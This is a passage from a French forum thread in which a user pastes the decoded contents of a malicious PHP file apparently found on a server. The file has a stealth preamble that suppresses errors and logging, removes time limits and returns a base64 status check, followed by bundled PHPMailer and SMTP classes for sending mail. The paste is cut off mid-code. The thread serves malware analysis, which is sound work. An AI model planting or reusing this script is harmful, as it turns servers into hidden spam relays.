Ldfa Posté(e) le 2 mai 2015 Auteur Partager Posté(e) le 2 mai 2015 En cherchant un peu, j'ai trouvé ce lien qui me semble très intéressant : http://security.stackexchange.com/questions/86094/what-does-this-malicious-php-script-do Lien vers le commentaire Partager sur d’autres sites More sharing options...
Ldfa Posté(e) le 2 mai 2015 Auteur Partager Posté(e) le 2 mai 2015 J'ai réussi à décoder le fichier PHP en changeant la commande 'return' par 'print' : @ini_set('display_errors',0); @ini_set('log_errors',0); @error_reporting(0); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); if (version_compare(PHP_VERSION, '5.0.0', '<') ) { $res = Array(); $res["result"]["check"] = 0; echo base64_encode(serialize($res)); } function custom_strip_tags($text) { $text = strip_tags($text, ''); $text = str_replace("", "", $text); $text = str_replace("\">", " ] ", $text); return $text; } class SMTP { public $SMTP_PORT = 25; public $CRLF = "\r\n"; public $do_debug = 0; public $Debugoutput = 'echo'; public $do_verp = false; public $Timeout = 15; public $Timelimit = 30; public $Version = '5.2.6'; protected $smtp_conn; protected $error; protected $helo_rply; protected function edebug($str) { switch ($this->Debugoutput) { case 'error_log': error_log($str); break; case 'html': echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8')." \n"; break; case 'echo': default: echo $str; } } public function __construct() { $this->smtp_conn = 0; $this->error = null; $this->helo_rply = null; $this->do_debug = 0; } public function Connect($host, $port = 0, $timeout = 30, $options = array()) { $this->error = null; if($this->connected()) { $this->error = array('error' => 'Already connected to a server'); return false; } if(empty($port)) { $port = $this->SMTP_PORT; } $errno = 0; $errstr = ''; $socket_context = stream_context_create($options); $this->smtp_conn = @stream_socket_client($host.":".$port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context); if(empty($this->smtp_conn)) { $this->error = array('error' => 'Failed to connect to server', 'errno' => $errno, 'errstr' => $errstr); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ": $errstr ($errno)"); } return false; } if(substr(PHP_OS, 0, 3) != 'WIN') { $max = ini_get('max_execution_time'); if ($max != 0 && $timeout > $max) { // Don't bother if unlimited @set_time_limit($timeout); } stream_set_timeout($this->smtp_conn, $timeout, 0); } $announce = $this->get_lines(); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $announce); } return true; } public function StartTLS() { $this->error = null; # to avoid confusion if(!$this->connected()) { $this->error = array('error' => 'Called StartTLS() without being connected'); return false; } $this->client_send('STARTTLS' . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $rply); } if($code != 220) { $this->error = array('error' => 'STARTTLS not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } if(!stream_socket_enable_crypto($this->smtp_conn, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) { return false; } return true; } public function Authenticate($username, $password, $authtype='LOGIN', $realm='', $workstation='') { if (empty($authtype)) { $authtype = 'LOGIN'; } switch ($authtype) { case 'PLAIN': $this->client_send('AUTH PLAIN' . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 334) { $this->error = array('error' => 'AUTH not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } $this->client_send(base64_encode("\0".$username."\0".$password) . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 235) { $this->error = array('error' => 'Authentication not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } break; case 'LOGIN': $this->client_send('AUTH LOGIN' . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 334) { $this->error = array('error' => 'AUTH not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } $this->client_send(base64_encode($username) . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 334) { $this->error = array('error' => 'Username not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } $this->client_send(base64_encode($password) . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 235) { $this->error = array('error' => 'Password not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } break; case 'NTLM': require_once 'extras/ntlm_sasl_client.php'; $temp = new stdClass(); $ntlm_client = new ntlm_sasl_client_class; if(! $ntlm_client->Initialize($temp)){//let's test if every function its available $this->error = array('error' => $temp->error); if($this->do_debug >= 1) { $this->edebug('You need to enable some modules in your php.ini file: ' . $this->error['error']); } return false; } $msg1 = $ntlm_client->TypeMsg1($realm, $workstation);//msg1 $this->client_send('AUTH NTLM ' . base64_encode($msg1) . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 334) { $this->error = array('error' => 'AUTH not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } $challenge = substr($rply, 3);//though 0 based, there is a white space after the 3 digit number....//msg2 $challenge = base64_decode($challenge); $ntlm_res = $ntlm_client->NTLMResponse(substr($challenge, 24, 8), $password); $msg3 = $ntlm_client->TypeMsg3($ntlm_res, $username, $realm, $workstation);//msg3 $this->client_send(base64_encode($msg3) . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 235) { $this->error = array('error' => 'Could not authenticate', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } break; case 'CRAM-MD5': $this->client_send('AUTH CRAM-MD5' . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 334) { $this->error = array('error' => 'AUTH not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } $challenge = base64_decode(substr($rply, 4)); $response = $username . ' ' . $this->hmac($challenge, $password); $this->client_send(base64_encode($response) . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($code != 235) { $this->error = array('error' => 'Credentials not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } break; } return true; } protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key); } $b = 64; // byte length for md5 if (strlen($key) > $b) { $key = pack('H*', md5($key)); } $key = str_pad($key, $b, chr(0x00)); $ipad = str_pad('', $b, chr(0x36)); $opad = str_pad('', $b, chr(0x5c)); $k_ipad = $key ^ $ipad ; $k_opad = $key ^ $opad; return md5($k_opad . pack('H*', md5($k_ipad . $data))); } public function Connected() { if(!empty($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn); if($sock_status['eof']) { if($this->do_debug >= 1) { $this->edebug('SMTP -> NOTICE: EOF caught while checking if connected'); } $this->Close(); return false; } return true; // everything looks good } return false; } public function Close() { $this->error = null; // so there is no confusion $this->helo_rply = null; if(!empty($this->smtp_conn)) { // close the connection and cleanup fclose($this->smtp_conn); $this->smtp_conn = 0; } } public function Data($msg_data) { $this->error = null; // so no confusion is caused if(!$this->connected()) { $this->error = array( 'error' => 'Called Data() without being connected'); return false; } $this->client_send('DATA' . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $rply); } if($code != 354) { $this->error = array('error' => 'DATA command not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } $msg_data = str_replace("\r\n", "\n", $msg_data); $msg_data = str_replace("\r", "\n", $msg_data); $lines = explode("\n", $msg_data); $field = substr($lines[0], 0, strpos($lines[0], ':')); $in_headers = false; if(!empty($field) && !strstr($field, ' ')) { $in_headers = true; } $max_line_length = 998; // used below; set here for ease in change while(list(, $line) = @each($lines)) { $lines_out = null; if($line == '' && $in_headers) { $in_headers = false; } while(strlen($line) > $max_line_length) { $pos = strrpos(substr($line, 0, $max_line_length), ' '); if(!$pos) { $pos = $max_line_length - 1; $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos); } else { $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos + 1); } if($in_headers) { $line = "\t" . $line; } } $lines_out[] = $line; while(list(, $line_out) = @each($lines_out)) { if(strlen($line_out) > 0) { if(substr($line_out, 0, 1) == '.') { $line_out = '.' . $line_out; } } $this->client_send($line_out . $this->CRLF); } } $this->client_send($this->CRLF . '.' . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $rply); } if($code != 250) { $this->error = array('error' => 'DATA not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } return true; } public function Hello($host = '') { $this->error = null; // so no confusion is caused if(!$this->connected()) { $this->error = array( 'error' => 'Called Hello() without being connected'); return false; } if(empty($host)) { $host = 'localhost'; } if(!$this->SendHello('EHLO', $host)) { if(!$this->SendHello('HELO', $host)) { return false; } } return true; } protected function SendHello($hello, $host) { $this->client_send($hello . ' ' . $host . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER: ' . $rply); } if($code != 250) { $this->error = array('error' => $hello . ' not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } $this->helo_rply = $rply; return true; } public function Mail($from) { $this->error = null; // so no confusion is caused if(!$this->connected()) { $this->error = array( 'error' => 'Called Mail() without being connected'); return false; } $useVerp = ($this->do_verp ? ' XVERP' : ''); $this->client_send('MAIL FROM:<' . $from . '>' . $useVerp . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $rply); } if($code != 250) { $this->error = array('error' => 'MAIL not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } return true; } public function Quit($close_on_error = true) { $this->error = null; // so there is no confusion if(!$this->connected()) { $this->error = array( 'error' => 'Called Quit() without being connected'); return false; } $this->client_send('quit' . $this->CRLF); $byemsg = $this->get_lines(); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $byemsg); } $rval = true; $e = null; $code = substr($byemsg, 0, 3); if($code != 221) { $e = array('error' => 'SMTP server rejected quit command', 'smtp_code' => $code, 'smtp_rply' => substr($byemsg, 4)); $rval = false; if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $e['error'] . ': ' . $byemsg); } } if(empty($e) || $close_on_error) { $this->Close(); } return $rval; } public function Recipient($to) { $this->error = null; // so no confusion is caused if(!$this->connected()) { $this->error = array( 'error' => 'Called Recipient() without being connected'); return false; } $this->client_send('RCPT TO:<' . $to . '>' . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $rply); } if($code != 250 && $code != 251) { $this->error = array('error' => 'RCPT not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } return true; } public function Reset() { $this->error = null; // so no confusion is caused if(!$this->connected()) { $this->error = array('error' => 'Called Reset() without being connected'); return false; } $this->client_send('RSET' . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $rply); } if($code != 250) { $this->error = array('error' => 'RSET failed', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } return true; } public function SendAndMail($from) { $this->error = null; // so no confusion is caused if(!$this->connected()) { $this->error = array( 'error' => 'Called SendAndMail() without being connected'); return false; } $this->client_send('SAML FROM:' . $from . $this->CRLF); $rply = $this->get_lines(); $code = substr($rply, 0, 3); if($this->do_debug >= 2) { $this->edebug('SMTP -> FROM SERVER:' . $rply); } if($code != 250) { $this->error = array('error' => 'SAML not accepted from server', 'smtp_code' => $code, 'smtp_msg' => substr($rply, 4)); if($this->do_debug >= 1) { $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply); } return false; } return true; } public function Turn() { $this->error = array('error' => 'This method, TURN, of the SMTP '. 'is not implemented'); if($this->do_debug >= 1) { $this->edebug('SMTP -> NOTICE: ' . $this->error['error']); } return false; } public function client_send($data) { if ($this->do_debug >= 1) { $this->edebug("CLIENT -> SMTP: $data"); } return fwrite($this->smtp_conn, $data); } public function getError() { return $this->error; } protected function get_lines() { $data = ''; $endtime = 0; if (!is_resource($this->smtp_conn)) { return $data; } stream_set_timeout($this->smtp_conn, $this->Timeout); if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit; } while(is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { $str = @fgets($this->smtp_conn, 515); if($this->do_debug >= 4) { $this->edebug("SMTP -> get_lines(): \$data was \"$data\""); $this->edebug("SMTP -> get_lines(): \$str is \"$str\""); } $data .= $str; if($this->do_debug >= 4) { $this->edebug("SMTP -> get_lines(): \$data is \"$data\""); } if(substr($str, 3, 1) == ' ') { break; } $info = stream_get_meta_data($this->smtp_conn); if ($info['timed_out']) { if($this->do_debug >= 4) { $this->edebug('SMTP -> get_lines(): timed-out (' . $this->Timeout . ' seconds)'); } break; } // Now check if reads took too long if ($endtime) { if (time() > $endtime) { if($this->do_debug >= 4) { $this->edebug('SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' seconds)'); } break; } } } return $data; } } class PHPMailer { public $Priority = 3; public $CharSet = 'iso-8859-1'; public $ContentType = 'text/plain'; public $Encoding = '8bit'; public $ErrorInfo = ''; public $From = 'root@localhost'; public $FromName = 'Root User'; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = 'mail'; public $Sendmail = '/usr/sbin/sendmail'; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = 'localhost'; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAuth = false; public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 10; public $SMTPDebug = false; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; public $do_verp = false; public $SingleToArray = array(); public $AllowEmpty = false; public $LE = "\n"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $action_function = ''; //'callbackAction'; public $Version = '5.2.6'; public $XMailer = ''; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; const STOP_MESSAGE = 0; // message only, continue processing const STOP_CONTINUE = 1; // message?, likely ok to continue processing const STOP_CRITICAL = 2; // message, plus full stop, critical error reached const CRLF = "\r\n"; // SMTP RFC specified EOL private function mail_passthru($to, $subject, $body, $header, $params) { if ( ini_get('safe_mode') || !($this->UseSendmailOptions) ) { $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header); } else { $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header, $params); } return $rt; } protected function edebug($str) { switch ($this->Debugoutput) { case 'error_log': error_log($str); break; case 'html': //Cleans up output a bit for a better looking display that's HTML-safe echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, $this->CharSet)." \n"; break; case 'echo': default: //Just echoes exactly what was received echo $str; } } public function __construct($exceptions = false) { $this->exceptions = ($exceptions == true); } public function __destruct() { if ($this->Mailer == 'smtp') { //Close any open SMTP connection nicely $this->SmtpClose(); } } public function IsHTML($ishtml = true) { if ($ishtml) { $this->ContentType = 'text/html'; } else { $this->ContentType = 'text/plain'; } } public function IsSMTP() { $this->Mailer = 'smtp'; } public function IsMail() { $this->Mailer = 'mail'; } public function IsSendmail() { if (!stristr(ini_get('sendmail_path'), 'sendmail')) { $this->Sendmail = '/var/qmail/bin/sendmail'; } $this->Mailer = 'sendmail'; } public function IsQmail() { if (stristr(ini_get('sendmail_path'), 'qmail')) { $this->Sendmail = '/var/qmail/bin/sendmail'; } $this->Mailer = 'sendmail'; } public function AddAddress($address, $name = '') { return $this->AddAnAddress('to', $address, $name); } public function AddCC($address, $name = '') { return $this->AddAnAddress('cc', $address, $name); } public function AddBCC($address, $name = '') { return $this->AddAnAddress('bcc', $address, $name); } public function AddReplyTo($address, $name = '') { return $this->AddAnAddress('Reply-To', $address, $name); } protected function AddAnAddress($kind, $address, $name = '') { if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) { $this->SetError($this->Lang('Invalid recipient array').': '.$kind); if ($this->exceptions) { throw new phpmailerException('Invalid recipient array: ' . $kind); } if ($this->SMTPDebug) { $this->edebug($this->Lang('Invalid recipient array').': '.$kind); } return false; } $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim if (!$this->ValidateAddress($address)) { $this->SetError($this->Lang('invalid_address').': '. $address); if ($this->exceptions) { throw new phpmailerException($this->Lang('invalid_address').': '.$address); } if ($this->SMTPDebug) { $this->edebug($this->Lang('invalid_address').': '.$address); } return false; } if ($kind != 'Reply-To') { if (!isset($this->all_recipients[strtolower($address)])) { array_push($this->$kind, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } public function SetFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim if (!$this->ValidateAddress($address)) { $this->SetError($this->Lang('invalid_address').': '. $address); if ($this->exceptions) { throw new phpmailerException($this->Lang('invalid_address').': '.$address); } if ($this->SMTPDebug) { $this->edebug($this->Lang('invalid_address').': '.$address); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public static function ValidateAddress($address) { if (defined('PCRE_VERSION')) { //Check this instead of extension_loaded so it works when that function is disabled if (version_compare(PCRE_VERSION, '8.0') >= 0) { return (boolean)preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:|(?!(?:.*[a-f0-9]{6,})(?8)?::(?>((?6)(?>:(?6)){0,4})?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address); } else { //Fall back to an older regex that doesn't need a recent PCRE return (boolean)preg_match('/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]{6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address); } } else { return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); } } public function Send() { try { if(!$this->PreSend()) return false; return $this->PostSend(); } catch (phpmailerException $e) { $this->mailHeader = ''; $this->SetError($e->getMessage()); if ($this->exceptions) { throw $e; } return false; } } public function PreSend() { try { $this->mailHeader = ""; if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { throw new phpmailerException($this->Lang('provide_address'), self::STOP_CRITICAL); } // Set whether the message is multipart/alternative if(!empty($this->AltBody)) { $this->ContentType = 'multipart/alternative'; } $this->error_count = 0; // reset errors $this->SetMessageType(); //Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->Lang('empty_message'), self::STOP_CRITICAL); } $this->MIMEHeader = $this->CreateHeader(); $this->MIMEBody = $this->CreateBody(); // To capture the complete message when using mail(), create // an extra header list which CreateHeader() doesn't fold in if ($this->Mailer == 'mail') { if (count($this->to) > 0) { $this->mailHeader .= $this->AddrAppend("To", $this->to); } else { $this->mailHeader .= $this->HeaderLine("To", "undisclosed-recipients:;"); } $this->mailHeader .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader(trim($this->Subject)))); } // digitally sign with DKIM if enabled if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && !empty($this->DKIM_domain) && file_exists($this->DKIM_private)) { $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->EncodeHeader($this->SecureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = str_replace("\r\n", "\n", $header_dkim) . $this->MIMEHeader; } return true; } catch (phpmailerException $e) { $this->SetError($e->getMessage()); if ($this->exceptions) { throw $e; } return false; } } public function PostSend() { try { // Choose the mailer and send through it switch($this->Mailer) { case 'sendmail': return $this->SendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->MailSend($this->MIMEHeader, $this->MIMEBody); default: return $this->MailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $e) { $this->SetError($e->getMessage()); if ($this->exceptions) { throw $e; } if ($this->SMTPDebug) { $this->edebug($e->getMessage()."\n"); } } return false; } protected function SendmailSend($header, $body) { if ($this->Sender != '') { $sendmail = sprintf("%s -oi -f%s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); } else { $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail)); } if ($this->SingleTo === true) { foreach ($this->SingleToArray as $val) { if(!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, "To: " . $val . "\n"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); // implement call back function if it exists $isSent = ($result == 0) ? 1 : 0; $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body); if($result != 0) { throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { if(!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); // implement call back function if it exists $isSent = ($result == 0) ? 1 : 0; $this->doCallback($isSent, $this->to, $this->cc, $this->bcc, $this->Subject, $body); if($result != 0) { throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected function MailSend($header, $body) { $toArr = array(); foreach($this->to as $t) { $toArr[] = $this->AddrFormat($t); } $to = implode(', ', $toArr); if (empty($this->Sender)) { $params = " "; } else { $params = sprintf("-f%s", $this->Sender); } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $rt = false; if ($this->SingleTo === true && count($toArr) > 1) { foreach ($toArr as $val) { $rt = $this->mail_passthru($val, $this->Subject, $body, $header, $params); // implement call back function if it exists $isSent = ($rt == 1) ? 1 : 0; $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body); } } else { $rt = $this->mail_passthru($to, $this->Subject, $body, $header, $params); // implement call back function if it exists $isSent = ($rt == 1) ? 1 : 0; $this->doCallback($isSent, $to, $this->cc, $this->bcc, $this->Subject, $body); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if(!$rt) { throw new phpmailerException($this->Lang('instantiate'), self::STOP_CRITICAL); } return true; } protected function SmtpSend($header, $body) { //require_once $this->PluginDir . 'class.smtp.php'; $bad_rcpt = array(); if(!$this->SmtpConnect()) { throw new phpmailerException($this->Lang('smtp_connect_failed'), self::STOP_CRITICAL); } $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender; if(!$this->smtp->Mail($smtp_from)) { $this->SetError($this->Lang('from_failed') . $smtp_from . ' : ' .implode(',', $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } // Attempt to send attach all recipients foreach($this->to as $to) { if (!$this->smtp->Recipient($to[0])) { $bad_rcpt[] = $to[0]; // implement call back function if it exists $isSent = 0; $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body); } else { // implement call back function if it exists $isSent = 1; $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body); } } foreach($this->cc as $cc) { if (!$this->smtp->Recipient($cc[0])) { $bad_rcpt[] = $cc[0]; // implement call back function if it exists $isSent = 0; $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body); } else { // implement call back function if it exists $isSent = 1; $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body); } } foreach($this->bcc as $bcc) { if (!$this->smtp->Recipient($bcc[0])) { $bad_rcpt[] = $bcc[0]; // implement call back function if it exists $isSent = 0; $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body); } else { // implement call back function if it exists $isSent = 1; $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body); } } if (count($bad_rcpt) > 0 ) { //Create error message for any bad addresses $badaddresses = implode(', ', $bad_rcpt); throw new phpmailerException($this->Lang('recipients_failed') . $badaddresses); } if(!$this->smtp->Data($header . $body)) { throw new phpmailerException($this->Lang('data_not_accepted'), self::STOP_CRITICAL); } if($this->SMTPKeepAlive == true) { $this->smtp->Reset(); } else { $this->smtp->Quit(); $this->smtp->Close(); } return true; } public function SmtpConnect($options = array()) { if(is_null($this->smtp)) { $this->smtp = new SMTP; } //Already connected? if ($this->smtp->Connected()) { return true; } $this->smtp->Timeout = $this->Timeout; $this->smtp->do_debug = $this->SMTPDebug; $this->smtp->Debugoutput = $this->Debugoutput; $this->smtp->do_verp = 